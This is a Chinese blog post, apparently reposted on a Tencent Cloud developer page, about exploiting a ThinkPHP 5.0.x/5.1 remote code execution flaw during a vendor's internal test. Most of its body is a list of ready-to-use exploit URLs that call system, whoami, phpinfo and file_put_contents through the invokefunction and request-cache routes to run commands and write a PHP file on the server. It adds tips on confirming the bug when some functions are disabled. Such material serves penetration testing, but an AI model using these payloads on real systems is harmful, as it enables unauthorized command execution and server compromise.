|
|
机灵的手电筒 · 寻找凸四边形的四个顶点_pika1223的博 ...· 2 年前 · |
|
|
眼睛小的木耳 · Odoo12.0安装指南 - 墨天轮· 2 年前 · |
|
|
温柔的紫菜汤 · Postgres 中未终止的 CSV ...· 3 年前 · |
|
|
茫然的烈马 · 时间戳和LocalDateTime和Date ...· 3 年前 · |
最近新出的thinkphp5.1的洞来的算是一场及时雨,正好在给某厂家内测,就派上用场了。
厂家的系统版本是 ThinkPHP V5.0.21
然后用了许多网上搜的poc都无法使用
http://tp.vsplate.me/public/index.php?s=/index/\think\request/cache&key=ls%20-l|system
http://tp.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
http://tp.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
http://tp.vsplate.me/public/index.php?s=/index/\think\request/cache&key=1|phpinfo
http://tp.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20info.php
http://tp.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=info.php&vars[1][]=%3C?php%20phpinfo();?%3E
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
今天在吐司上面https://www.t00ls.net/viewthread.phptid=48985&extra=&page=1看到了有人在讨论这个exp的问题
第二个poc测试成功了,发现可以回显phpinfo的内容,那么这一条代码在5.0.21的版本是可执行的
fuck作为一个传导参数,可以执行任意php命令,如果sytstem等一些参数被禁用了则不可执行。
所以在测试的时候,不要一上去就执行加一些函数的测试
这种调用system函数的测试,这样有时候回显不出来,是因为某些函数被禁用了,而不是漏洞不存在!
最后附上测试成功的截图
Copyright © 2013 - 2023 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号: 粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
扫码关注腾讯云开发者
领取腾讯云代金券
|
|
眼睛小的木耳 · Odoo12.0安装指南 - 墨天轮 2 年前 |